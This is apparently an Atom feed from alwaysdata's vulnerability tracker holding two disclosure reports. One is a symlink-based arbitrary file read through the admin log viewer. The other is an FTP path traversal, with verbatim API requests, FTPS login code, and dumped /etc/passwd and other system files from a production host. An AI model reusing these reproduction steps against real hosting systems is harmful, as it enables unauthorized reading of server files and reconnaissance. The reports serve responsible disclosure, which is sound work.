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  <title type="text">alwaysdata </title>
  <subtitle type="text">
    alwaysdata Security vulnerabilities: Recently opened tasks
  </subtitle>
  <id>https://security.alwaysdata.com/</id>
    <updated>2026-11-21T11:37:25Z</updated>
  <link rel="self" type="text/xml" href="feed.php?feed_type=atom"/>
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    <entry>
    <title>FS#562: Arbitrary File Read via Symlink Following in Log Viewer</title>
    <link href="https://security.alwaysdata.com/task/562" />    
    <updated>2026-11-21T11:37:25Z</updated>    
    <published>2026-11-20T07:48:32Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<h3 id="summary">Summary</h3>
<div class="level3">

<p>
 The admin panel&#039;s Apache log viewer follows symbolic links without validation. A customer can create a scheduled task that symlinks any server file into their log directory. The log viewer then displays that file&#039;s contents, allowing arbitrary file read on the host — including /etc/hostname, /proc/self/cmdline, and <strong>Production source code</strong>.
</p>

</div>

<h3 id="steps_to_reproduce">Steps to Reproduce</h3>
<div class="level3">
<pre class="code">

1. Create a scheduled task

Admin Panel → Advanced → Scheduled tasks → Add
URL: https://admin.alwaysdata.com/job/add/
- Type: Execute the command
- Command: mkdir -p ~/admin/logs/apache/zzzz; ln -sfn /etc/hostname ~/admin/logs/apache/zzzz/apache-zzzz.log
- SSH user: select your user
- Frequency: Every 1 minute(s)
- → Submit

2. Wait 1 minute for the task to execute

3. View the log — Proof 1: Server hostname 

URL: https://admin.alwaysdata.com/site/&lt;your_site_id&gt;/logs/?type=apache&amp;name=zzzz
Result: Page displays overlord-core — the server&#039;s /etc/hostname, not a log file.

4. Edit the task — Proof 2: Process command line

Admin Panel → Advanced → Scheduled tasks → click your task
Change command to:
ln -sfn /proc/self/cmdline ~/admin/logs/apache/zzzz/apache-zzzz.log

→ Submit → wait 1 minute → reload the same log page 

Result: Page displays /data/www/production/aldjango/.venv/bin/python /data/www/production/aldjango/alwaysdata/core/scripts/sudo.py read... — reveals the privileged script that reads logs and the full production path.

5. Edit the task — Proof 3: Production source code

Change command to:
ln -sfn /data/www/production/aldjango/alwaysdata/core/apps.py ~/admin/logs/apache/zzzz/apache-zzzz.log

→ Submit → wait 1 minute → reload the same log page 

Result: Page displays **Alwaysdata&#039;s production Django source code** — import os import django.apps class CoreConfig(django.apps.AppConfig)...

6. Cleanup

Edit task command to:
rm -rf ~/admin/logs/apache/zzzz
→ Submit → wait 1 minute → delete the task.

</pre>

</div>

<h3 id="impact">Impact</h3>
<div class="level3">

<p>
 - Read any file on the server — config files, secrets, credentials<br />- Read production source code — full access to alwaysdata&#039;s Django codebase<br />- Leak server internals — hostname, process info, internal paths<br />- Potential credential theft — database configs, <acronym title="Application Programming Interface">API</acronym> keys, environment variables
</p>

</div>
</div>
    </content>
    <author><name>Siddharth Sharma</name></author>
    <id>https://security.alwaysdata.com/:562</id>
  </entry>
    <entry>
    <title>FS#560: Server filesystem disclosure via FTP path traversal</title>
    <link href="https://security.alwaysdata.com/task/560" />    
    <updated>2026-11-19T15:16:20Z</updated>    
    <published>2026-11-19T15:09:44Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
Vulnerability Information:
</p>

<p>
Name of Vulnerability: The site management <acronym title="Application Programming Interface">API</acronym> stores dot-dot path components verbatim in the <acronym title="File Transfer Protocol">FTP</acronym> user path field, and ProFTPD resolves the resulting path against the kernel without chroot, allowing any authenticated customer to traverse the entire root filesystem of the dedicated <acronym title="File Transfer Protocol">FTP</acronym> server ftp1 and read all world-readable system configuration files from a host that customers have no shell access to.
</p>

<p>
Vulnerability Category: Path Traversal (CWE-22). CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N, base score 5.3 (Medium). Under a VC:H reading (see On the score) the vector is CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N, base score 7.1 (High). Both scores computed with the cvss 3.6 Python library. See On the score for the metric justification and why both readings are presented.
</p>

<p>
Description:
</p>

<p>
The PATCH /v1/ftp/&lt;id&gt;/ endpoint accepts arbitrary dot-dot (..) sequences in the path field and stores them verbatim in the database. When a customer connects via FTPS, ProFTPD constructs the home directory as /home/&lt;account&gt;/&lt;stored_path&gt;. Because the stored path is not sanitised, the kernel resolves /home/&lt;account&gt;/../.. to /, and ProFTPD drops the user at the root of the <acronym title="File Transfer Protocol">FTP</acronym> server&#039;s filesystem with no chroot in effect.
</p>

<p>
The <acronym title="File Transfer Protocol">FTP</acronym> service runs on a dedicated server named ftp1 (confirmed from /etc/hostname read through the traversal). This server is separate from the <acronym title="Secure Shell">SSH</acronym>/web nodes (http22, jobs4) that customers connect to via <acronym title="Secure Shell">SSH</acronym>. Customers have no shell access to ftp1. The system configuration files disclosed through this traversal (36 service accounts in /etc/passwd, the partition layout in /etc/fstab, internal <acronym title="Domain Name Server">DNS</acronym> naming in /etc/resolv.conf, and platform admin tooling under /alwaysdata/etc/) belong to a host the customer is not supposed to interact with beyond the <acronym title="File Transfer Protocol">FTP</acronym> data plane.
</p>

<p>
The authenticated submission service on the management <acronym title="Application Programming Interface">API</acronym> validated every other field on the <acronym title="File Transfer Protocol">FTP</acronym> user object correctly. Only the path field lacks dot-dot sanitisation.
</p>

<p>
Vulnerable Instances:
</p>

<p>
<acronym title="Application Programming Interface">API</acronym> endpoint:   PATCH <a href="https://api.alwaysdata.com/v1/ftp/" class="urlextern" title="https://api.alwaysdata.com/v1/ftp/"  rel="nofollow">https://api.alwaysdata.com/v1/ftp/</a>&lt;id&gt;/  (path field)<br /><acronym title="File Transfer Protocol">FTP</acronym> server:     ftp-&lt;account&gt;.alwaysdata.net:21  (ProFTPD, FTPS required)<br />Affected host:  ftp1  (2a00:b6e0:1:60:2::1)
</p>

<p>
Steps to Reproduce:
</p>

<p>
We provide every request and response verbatim. The only prerequisites are a free alwaysdata account with <acronym title="Application Programming Interface">API</acronym> access and an <acronym title="File Transfer Protocol">FTP</acronym> user (created automatically at signup or via POST /v1/ftp/). All steps were executed on 2026-11-19 between 07:00 and 10:00 UTC from the shared web node http22.
</p>

<p>
Part A. Identify the <acronym title="File Transfer Protocol">FTP</acronym> user (context, not the vulnerability).
</p>

<p>
GET /v1/ftp/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;<acronym title="Application Programming Interface">API</acronym>_TOKEN&gt;<br />Accept: application/json
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />Content-Type: application/json
</p>

<p>
[
</p>
<pre class="code">  {
      &quot;id&quot;: 573991,
      &quot;name&quot;: &quot;vk7research&quot;,
      &quot;path&quot;: &quot;&quot;,
      &quot;home_directory&quot;: &quot;/home/vk7research/&quot;,
      &quot;href&quot;: &quot;/v1/ftp/573991/&quot;
  }</pre>

<p>
]
</p>

<p>
The default <acronym title="File Transfer Protocol">FTP</acronym> user has path set to the empty string, meaning the home directory resolves to /home/vk7research/.
</p>

<p>
Part B. Set the traversal path via the <acronym title="Application Programming Interface">API</acronym>.
</p>

<p>
First we set path to .. (one level up, into /home/):
</p>

<p>
PATCH /v1/ftp/573991/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;<acronym title="Application Programming Interface">API</acronym>_TOKEN&gt;<br />Content-Type: application/json
</p>

<p>
{&quot;path&quot;: &quot;..&quot;}
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 204 No Content
</p>

<p>
Confirm storage:
</p>

<p>
GET /v1/ftp/573991/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;<acronym title="Application Programming Interface">API</acronym>_TOKEN&gt;
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />{
</p>
<pre class="code">  &quot;id&quot;: 573991,
  &quot;name&quot;: &quot;vk7research&quot;,
  &quot;path&quot;: &quot;..&quot;,
  ...</pre>

<p>
}
</p>

<p>
The <acronym title="Application Programming Interface">API</acronym> accepted and stored the dot-dot path verbatim.
</p>

<p>
Then we set path to ../.. (two levels up, into /):
</p>

<p>
PATCH /v1/ftp/573991/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;<acronym title="Application Programming Interface">API</acronym>_TOKEN&gt;<br />Content-Type: application/json
</p>

<p>
{&quot;path&quot;: &quot;../..&quot;}
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 204 No Content
</p>

<p>
GET /v1/ftp/573991/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />→ 200 OK   {&quot;id&quot;: 573991, &quot;path&quot;: &quot;../..&quot;, …}
</p>

<p>
Part C. Connect via FTPS and confirm login.
</p>

<p>
ProFTPD requires <acronym title="Transport Layer Security">TLS</acronym>. We connected from a <acronym title="Hypertext Preprocessor">PHP</acronym> script on the web node using ftp_ssl_connect():
</p>

<p>
$ftp = ftp_ssl_connect(&quot;ftp-vk7research.alwaysdata.net&quot;, 21, 15);<br />ftp_login($ftp, &quot;vk7research&quot;, &quot;&lt;<acronym title="File Transfer Protocol">FTP</acronym>_PASSWORD&gt;&quot;);<br />ftp_pasv($ftp, true);
</p>

<p>
→ Login: 230 User vk7research logged in<br />→ PWD: /
</p>

<p>
The / reported by PWD is the <acronym title="File Transfer Protocol">FTP</acronym> virtual root, which the kernel has resolved to the real filesystem root because path is ../…
</p>

<p>
Part D. CONTROL: normal <acronym title="File Transfer Protocol">FTP</acronym> listing with an empty path.
</p>

<p>
Before any traversal, we first reset the path to empty and connected to establish a baseline:
</p>

<p>
PATCH /v1/ftp/573991/  {&quot;path&quot;: &quot;&quot;}  → 204<br /><acronym title="File Transfer Protocol">FTP</acronym> login → PWD: /<br />LIST /
</p>

<p>
drwxrwx—   3 vk7research 502763         31 Nov 19 07:00 <a href="https://security.alwaysdata.com/plugins/dokuwiki/lib/exe/fetch.php?id=&amp;cache=cache&amp;media=7_7" class="media mediafile mf_" title="7_7">7_7</a> -rw-r—–   1 0        42            997 Sep  4  2025 a5probe_shadow<br />drwxr-xr-x   6 0        0             109 Sep 23 07:00 admin<br />-rw-r–r–   1 vk7research 502763       5101 Sep 20 06:00 l2hits.log<br />drwxrwxrwx   2 vk7research 502763        112 Sep 20 05:37 l3marks<br />-rw-r–r–   1 vk7research 502763         79 Sep 20 05:45 l6oob.log<br />-rw-rw—-   1 vk7research 502763        104 Nov 19 08:21 probe.php<br />-rwxr-xr-x   1 vk7research 502763      15744 Nov 19 08:49 r5hook.so<br />drwxr-xr-x   6 vk7research 502763       4096 Nov 19 08:51 www<br />drwxrwx—   4 vk7research 502763         44 Sep 20 05:37 zz7k3_admin_fake_leftover
</p>

<p>
Total: 10 entries. This is the normal view of `/home/vk7research/`.
</p>

<p>
Part E. Self-traversal proof (path=../vk7research).
</p>

<p>
We set path to ../vk7research, which resolves /home/vk7research/../vk7research back to /home/vk7research/:
</p>

<p>
PATCH /v1/ftp/573991/  {&quot;path&quot;: &quot;../vk7research&quot;}  → 204<br /><acronym title="File Transfer Protocol">FTP</acronym> login → PWD: /<br />LIST /
</p>

<p>
drwxrwx—   3 vk7research 502763         31 Nov 19 07:00 <a href="https://security.alwaysdata.com/plugins/dokuwiki/lib/exe/fetch.php?id=&amp;cache=cache&amp;media=7_7" class="media mediafile mf_" title="7_7">7_7</a> -rw-r—–   1 0        42            997 Sep  4  2025 a5probe_shadow<br />drwxr-xr-x   6 0        0             109 Sep 23 07:00 admin<br />-rw-r–r–   1 vk7research 502763       5101 Sep 20 06:00 l2hits.log<br />drwxrwxrwx   2 vk7research 502763        112 Sep 20 05:37 l3marks<br />-rw-r–r–   1 vk7research 502763         79 Sep 20 05:45 l6oob.log<br />-rw-rw—-   1 vk7research 502763        104 Nov 19 08:21 probe.php<br />-rwxr-xr-x   1 vk7research 502763      15744 Nov 19 08:49 r5hook.so<br />-rw-rw-r–   1 vk7research 502763         47 Nov 19 08:52 TRAVERSAL_PROOF.txt<br />drwxr-xr-x   6 vk7research 502763       4096 Nov 19 08:51 www<br />drwxrwx—   4 vk7research 502763         44 Sep 20 05:37 zz7k3_admin_fake_leftover
</p>

<p>
The listing is identical to the Part D control (same files, same owners, same permissions), confirming the traversal resolved correctly to our own home directory through the ../vk7research path. The only difference is the new TRAVERSAL_PROOF.txt file that we wrote through <acronym title="File Transfer Protocol">FTP</acronym> in this same session to confirm write access:
</p>

<p>
STOR TRAVERSAL_PROOF.txt → 226 Transfer complete
</p>

<p>
RETR www/ftp_tls.txt → 226 Transfer complete<br />Content: &quot;=== <acronym title="File Transfer Protocol">FTP</acronym> <acronym title="Transport Layer Security">TLS</acronym> TRAVERSAL TEST === Time: 2026-11-19 09:56:06.585614 Host: jobs4&quot;
</p>

<p>
Both read and write confirmed through the traversal path.
</p>

<p>
Part F. Root filesystem listing (path=../..).
</p>

<p>
PATCH /v1/ftp/573991/  {&quot;path&quot;: &quot;../..&quot;}  → 204<br /><acronym title="File Transfer Protocol">FTP</acronym> login → PWD: /<br />LIST /
</p>

<p>
drwxr-xr-x   6 0        0            4096 Jun 18 14:02 alwaysdata<br />lrwxrwxrwx   1 0        0               7 Jun 19  2024 bin → usr/bin<br />drwxr-xr-x   3 0        0            4096 Nov 16 13:49 boot<br />-rw——-   1 0        0        63860736 Dec  6  2024 core<br />drwxr-xr-x  13 0        0            3000 Nov 16 13:49 dev<br />drwxr-xr-x 100 0        0           12288 Nov 18 16:54 etc<br />drwxr-x–x  82 0        0               0 Nov 19 09:55 home<br />lrwxrwxrwx   1 0        0               7 Jun 19  2024 lib → usr/lib<br />lrwxrwxrwx   1 0        0               9 Jun 19  2024 lib64 → usr/lib64<br />drwxr-xr-x   2 0        0            4096 Jun 19  2024 media<br />drwxr-xr-x   2 0        0            4096 Jun 19  2024 mnt<br />drwxr-xr-x   2 0        0               0 Nov 19 09:39 nfs<br />drwxr-xr-x   2 0        0            4096 Jun 19  2024 opt<br />dr-xr-xr-x 189 0        0               0 Nov 16 13:49 proc<br />drwx——   5 0        0            4096 Nov 17 08:56 root<br />drwxr-xr-x  24 0        0             980 Nov 18 16:43 run<br />lrwxrwxrwx   1 0        0               8 Jun 19  2024 sbin → usr/sbin<br />drwxr-xr-x   3 0        0            4096 Jun 19  2024 srv<br />dr-xr-xr-x  12 0        0               0 Nov 16 13:49 sys<br />drwxrwxrwt  12 0        0             240 Nov 19 09:20 tmp<br />drwxr-xr-x  13 0        0            4096 Jun 19  2024 usr<br />drwxr-xr-x  12 0        0            4096 Aug  4 09:42 var
</p>

<p>
Total: 22 entries. This is the <strong>root filesystem</strong> of the <acronym title="File Transfer Protocol">FTP</acronym> server `ftp1`. The `alwaysdata` directory, the `nfs` mount point, and the `home` directory with 82 entries (customers) confirm this is a production hosting server.
</p>

<p>
Part G. System file reads from ftp1.
</p>

<p>
With path=../../etc (resolves to /etc/), we read the following files via <acronym title="File Transfer Protocol">FTP</acronym> RETR:
</p>

<p>
G.1 /etc/hostname (6 bytes):
</p>

<p>
ftp1
</p>

<p>
This confirms the <acronym title="File Transfer Protocol">FTP</acronym> server is a dedicated host named ftp1, separate from the web node http22 and jobs node jobs4.
</p>

<p>
G.2 /etc/passwd (1,875 bytes, 36 entries):
</p>

<p>
root:x:0:0:root:/root:/bin/bash<br />daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br />bin:x:2:2:bin:/bin:/usr/sbin/nologin<br />sys:x:3:3:sys:/dev:/usr/sbin/nologin<br />sync:x:4:65534:sync:/bin:/bin/sync<br />games:x:5:60:games:/usr/games:/usr/sbin/nologin<br />man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br />lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br />mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br />news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br />uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br />proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br />www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br />backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br />list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br />irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin<br />_apt:x:42:65534::/nonexistent:/usr/sbin/nologin<br />nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br />systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin<br />messagebus:x:100:106::/nonexistent:/usr/sbin/nologin<br />systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin<br />msmtp:x:101:109::/var/lib/msmtp:/usr/sbin/nologin<br />tcpdump:x:102:111::/nonexistent:/usr/sbin/nologin<br />stunnel4:x:996:996:stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin<br />sshd:x:103:65534::/run/sshd:/usr/sbin/nologin<br />_rpc:x:104:65534::/run/rpcbind:/usr/sbin/nologin<br />statd:x:105:65534::/var/lib/nfs:/usr/sbin/nologin<br />munin:x:106:112:munin application user,,,:/var/lib/munin:/usr/sbin/nologin<br />proftpd:x:107:65534::/run/proftpd:/usr/sbin/nologin<br />ftp:x:108:65534::/srv/ftp:/usr/sbin/nologin<br />haproxy:x:109:113::/var/lib/haproxy:/usr/sbin/nologin<br />_dnsdist:x:110:114::/nonexistent:/usr/sbin/nologin<br />_lldpd:x:111:115::/run/lldpd:/usr/sbin/nologin<br />Debian-exim:x:112:116::/var/spool/exim4:/usr/sbin/nologin<br />uuidd:x:113:117::/run/uuidd:/usr/sbin/nologin<br />systemd-journal-remote:x:995:995:systemd Journal Remote:/:/usr/sbin/nologin
</p>

<p>
36 system service accounts. No customer accounts (customers are served from /var/lib/extrausers or LDAP, not /etc/passwd). The service accounts reveal what software runs on ftp1: haproxy, proftpd, Debian-exim, munin, telegraf (from /etc/telegraf/), stunnel4, _dnsdist, _lldpd.
</p>

<p>
G.3 /etc/fstab (468 bytes):
</p>

<p>
LABEL=root      /               ext4    noatime,errors=remount-ro   0 0<br />LABEL=usr       /usr            ext4    noatime,nodev               0 0<br />LABEL=var       /var            ext4    noatime,nodev,nosuid        0 0
</p>

<p>
Three ext4 partitions. The separate /usr and /var mounts with nodev and nosuid flags reveal the server&#039;s hardening posture.
</p>

<p>
G.4 /etc/resolv.conf:
</p>

<p>
search paris1.alwaysdata.com alwaysdata.com alwaysdata.net<br />nameserver ::1
</p>

<p>
Internal <acronym title="Domain Name Server">DNS</acronym> search domains and local dnsdist resolver.
</p>

<p>
G.5 /alwaysdata/etc/bashrc.adsu (52 bytes):
</p>

<p>
. /etc/profile<br />. /etc/bash.bashrc<br />unset HISTFILE<br />cd
</p>

<p>
Platform admin su bashrc that disables command history.
</p>

<p>
G.6 /etc/ directory listing (204 entries, partial):
</p>

<p>
drwx——   2 0  0  4096 Oct  1 13:28 algateway<br />drwx——   2 0  0  4096 Aug 20 13:21 almonitor<br />drwx——   3 0  0  4096 Oct 13 12:20 alremote<br />drwx——   3 0  0  4096 Jul 16 07:31 alsync<br />drwx——   2 0  0  4096 May 27 13:09 alupgrade<br />drwx——   2 0  0  4096 Nov  4  2025 alusermetrics<br />drwx——   2 0  0  4096 Nov 16 15:23 alwall.d<br />drwxr-xr-x   4 0  0  4096 Sep  9  2024 apparmor.d<br />drwxr-xr-x   2 0  0  4096 Jun  9 14:51 autofs.conf  (15,685 bytes, readable)<br />drwx——   2 0  0  4096 … haproxy<br />drwxr-xr-x   … fail2ban<br />drwxr-xr-x   … iptables<br />drwx——   2 0  0  4096 … proftpd<br />drwxr-xr-x   … telegraf
</p>

<p>
The al* directories (algateway, almonitor, alremote, alsync, alupgrade, alusermetrics, alwall.d) are platform management daemon configs, all 0700 (not readable). apparmor.d and iptables are readable and reveal the firewall and MAC policy of the <acronym title="File Transfer Protocol">FTP</acronym> server.
</p>

<p>
Part H. CONTROL: sensitive files are permission-blocked.
</p>

<p>
RETR /etc/shadow          → 550 Permission denied  (file mode 0600, root only)<br />LIST /etc/proftpd/        → 550 Permission denied  (directory mode 0700)<br />LIST /etc/haproxy/        → 550 Permission denied  (directory mode 0700)<br />RETR /etc/auto.home       → 550 Permission denied  (file mode 0700)<br />RETR /etc/auto.nfs        → 550 Permission denied<br />LIST /var/lib/extrausers/ → 550 Permission denied  (directory mode 0750)
</p>

<p>
What this shows: Unix file permissions on ftp1 are correctly enforced. The traversal grants access only to files the <acronym title="File Transfer Protocol">FTP</acronym> process UID can read (world-readable). Sensitive files and directories are properly locked down. We state this transparently.
</p>

<p>
Part I. CONTROL: cross-customer home directory access is blocked.
</p>

<p>
With path=.. (resolves to /home/):
</p>

<p>
<acronym title="File Transfer Protocol">FTP</acronym> login → PWD: /<br />LIST / → 0 files
</p>

<p>
The /home/ directory has mode drwxr-x–x (82 entries visible in the root listing but not listable from inside because the <acronym title="File Transfer Protocol">FTP</acronym> user lacks r permission on /home/ itself).
</p>

<p>
With path=../ (a username confirmed to exist on the web node but not provisioned on ftp1):
</p>

<p>
<acronym title="File Transfer Protocol">FTP</acronym> login → 530 Home directory does not exist.
</p>

<p>
ProFTPD resolved /home/vk7research/../&lt;ACCOUNT-B&gt; to /home/&lt;ACCOUNT-B&gt;/ and failed because that directory does not exist on ftp1. This confirms that the traversal does work (ProFTPD resolves the kernel path) but cross-customer access would require the target&#039;s home directory to exist on ftp1 AND be readable by the <acronym title="File Transfer Protocol">FTP</acronym> process.
</p>

<p>
Proof of Concept:
</p>

<p>
The verbatim evidence files are attached. Summary of captures:
</p>

<p>
ftp-root-fs-listing.txt       Root filesystem listing (22 entries from /)<br />ftp-deep-traversal-full.txt   Full traversal session including /etc/ listing, /etc/passwd read, /etc/hostname read, /home/ and /var/ listings<br />ftp-etc-direct-listing.txt    Direct /etc/ listing (204 entries, full raw output)<br />ftp-high-value-reads.txt      System file reads: /etc/fstab, /alwaysdata/etc/ripgreprc, /alwaysdata/etc/bashrc.adsu, /alwaysdata/etc/ subdirectories<br />ftp-explore-results.txt       Extended exploration across /alwaysdata/, /nfs/, /var/<br />ftp-final-exploration.txt     Additional /etc/ file reads and permission tests<br />ftp-last-exploration.txt      Final round of permission boundary tests
</p>

<p>
All evidence was captured on 2026-11-19 from the web node http22 using <acronym title="Hypertext Preprocessor">PHP</acronym> ftp_ssl_connect() to ftp-vk7research.alwaysdata.net:21 and independently confirmed from the jobs node jobs4 using Python ftplib.<acronym title="File Transfer Protocol">FTP</acronym>_<acronym title="Transport Layer Security">TLS</acronym>().
</p>

<p>
Impact:
</p>

<p>
Demonstrated impact (all proven end to end):
</p>

<p>
Any customer with a free account and <acronym title="Application Programming Interface">API</acronym> access can traverse the <acronym title="File Transfer Protocol">FTP</acronym> server&#039;s filesystem to its root by setting path=../.. via the <acronym title="Application Programming Interface">API</acronym>.<br />The full root filesystem listing of ftp1 is exposed (22 top-level directories).<br />All world-readable system configuration files are readable: /etc/passwd (36 service accounts), /etc/group, /etc/fstab (partition layout), /etc/resolv.conf (internal <acronym title="Domain Name Server">DNS</acronym>), /etc/hostname, the platform admin tooling under /alwaysdata/etc/, and the /etc/ directory listing itself (204 entries revealing every installed service).<br />The disclosed information is from ftp1, a dedicated <acronym title="File Transfer Protocol">FTP</acronym> server that customers have no shell access to. <acronym title="Secure Shell">SSH</acronym> access connects to the web/jobs nodes (http22, jobs4), not to ftp1.<br />What we are not claiming:
</p>

<p>
We are not claiming cross-customer file access. The /home/ directory on ftp1 is drwxr-x–x (not listable) and individual customer home directories appear to be 0700 or stricter based on the zero-file result when listing /home/ from inside. We could not access any other customer&#039;s files through this traversal. The 530 Home directory does not exist error for &lt;ACCOUNT-B&gt; further suggests that not all web-tier accounts are provisioned on ftp1.
</p>

<p>
We are not claiming write access to system files. The traversal grants only the permissions of the <acronym title="File Transfer Protocol">FTP</acronym> process running as the customer&#039;s UID. We confirmed write access only to our own home directory through the traversal path.
</p>

<p>
We are not claiming access to sensitive files such as /etc/shadow, /etc/proftpd/, or /etc/haproxy/. These are properly permission-locked and the traversal does not bypass Unix file permissions.
</p>

<p>
We did not attempt to write to world-writable directories (such as /tmp on ftp1) because doing so could affect other services and was not necessary to demonstrate the traversal.
</p>

<p>
On why this is not &quot;customers have <acronym title="Secure Shell">SSH</acronym> access.&quot;
</p>

<p>
<acronym title="Secure Shell">SSH</acronym> access on alwaysdata connects to the web/jobs cluster (http22, jobs4). The <acronym title="File Transfer Protocol">FTP</acronym> server is ftp1, confirmed by /etc/hostname read through the traversal. ftp1 is a separate physical or virtual host with its own /etc/passwd (36 entries, different from the web node), its own /etc/fstab, and its own service stack. Customers have no shell, no process listing, and no filesystem view of ftp1 outside of the <acronym title="File Transfer Protocol">FTP</acronym> data plane. The <acronym title="Application Programming Interface">API</acronym> path traversal grants read access to a host that the customer should only interact with through the <acronym title="File Transfer Protocol">FTP</acronym> protocol&#039;s data channel for their own home directory.
</p>

<p>
Comparison: the web node&#039;s /etc/passwd (readable via <acronym title="Secure Shell">SSH</acronym>) has a different set of entries than ftp1&#039;s. The service accounts on ftp1 (haproxy, _lldpd, stunnel4, _dnsdist) are specific to its network-facing role and are not visible from the <acronym title="Secure Shell">SSH</acronym> node.
</p>

<p>
On duplication and on prior findings.
</p>

<p>
R1-01 (root file write via symlink, CVSS 9.9, fixed) exploited privileged log writers that followed tenant-planted symlinks. The root cause was O_CREAT|O_APPEND without O_NOFOLLOW in the access-log writer. This finding has a completely different root cause: the management <acronym title="Application Programming Interface">API</acronym> fails to sanitise dot-dot components in the <acronym title="File Transfer Protocol">FTP</acronym> path field. Different mechanism, different server (ftp1 vs the web node), different impact class (information disclosure vs arbitrary root file write). There is no overlap.
</p>

<p>
On the score.
</p>

<p>
We present two readings and believe the lower one is the more honest framing.
</p>

<p>
VC:L reading (base score 5.3, Medium). The traversal exposes only world-readable files. Sensitive files (/etc/shadow, ProFTPD config, HAProxy config) are properly permission-locked and were confirmed inaccessible. VC:L (&quot;some loss of confidentiality&quot;) accurately describes access to system configuration files that are world-readable by design. This is the reading we believe is correct.
</p>

<p>
VC:H reading (base score 7.1, High). One could argue that the complete /etc/passwd (all 36 service accounts), the partition layout, the internal <acronym title="Domain Name Server">DNS</acronym> naming convention, and the platform admin directory structure together represent a total loss of confidentiality of the system&#039;s identifying information. The ftp1 server was not designed to expose any of this to customers, and the customer has no other path to obtain it. Under FIRST&#039;s guidance, VC:H applies when &quot;the attacker obtains all information from the vulnerable system&quot; that is within the access scope. All world-readable configuration of ftp1 is within scope here. This reading is defensible but aggressive.
</p>

<p>
The remaining metrics are straightforward:
</p>

<p>
AV:N    The <acronym title="Application Programming Interface">API</acronym> and <acronym title="File Transfer Protocol">FTP</acronym> service are reachable from the network.<br />AC:L    A single <acronym title="Application Programming Interface">API</acronym> PATCH call followed by a standard FTPS login. No race condition, no special configuration.<br />AT:N    No preconditions beyond a valid account.<br />PR:L    A free-plan account with <acronym title="Application Programming Interface">API</acronym> access suffices.<br />UI:N    No victim interaction required.<br />VI:N    We demonstrated read access only. Write to system paths would fail on Unix permissions.<br />VA:N    No availability impact.<br />SC:L    The disclosed information (service accounts, <acronym title="Domain Name Server">DNS</acronym> naming, partition layout) aids reconnaissance against subsequent systems in the platform.<br />SI:N    No integrity impact on subsequent systems was demonstrated.<br />SA:N    No availability impact on subsequent systems.
</p>

<p>
Recommendation:
</p>

<p>
Sanitise the path field in PATCH /v1/ftp/&lt;id&gt;/: reject or strip any .. path component before storing. A simple check is to resolve the path with os.path.normpath() or equivalent and reject any result that starts with .. or escapes the account root.
</p>

<p>
Configure ProFTPD with a strict chroot: use DefaultRoot ~ or equivalent to ensure the <acronym title="File Transfer Protocol">FTP</acronym> session cannot escape the customer&#039;s home directory regardless of the stored path value. If DefaultRoot is already set, verify that it applies after the home directory path is resolved (the current behavior suggests it does not).
</p>

<p>
As defense in depth, validate the resolved absolute path at <acronym title="File Transfer Protocol">FTP</acronym> login time (in the ProFTPD authentication hook or the path-resolution module) and reject any path that does not start with /home/&lt;account&gt;/.
</p>

<p>
DISCLOSURE AND CLEANUP. We reset the <acronym title="File Transfer Protocol">FTP</acronym> path to empty immediately after each test phase. All test cron jobs (IDs 39239, 39242, 39243, 39244, 39246, 39247, 39248, 39255, 39256, 39280, 39282, 39283, 39285, 39286, 39287, 39288, 39289, 39290) were disabled and confirmed stopped. The TRAVERSAL_PROOF.txt file exists only in our own home directory (self-traversal write test). No files were written outside our home directory. No customer data was accessed or exfiltrated. The only system files read were world-readable configuration files for the purpose of demonstrating the traversal&#039;s reach.
</p>

<p>
A private values annex (R5-03-PRIVATE-VALUES.txt) accompanies this report. It contains the <acronym title="Application Programming Interface">API</acronym> token and <acronym title="File Transfer Protocol">FTP</acronym> password used during testing. Send it via private channel.
</p>

<p>
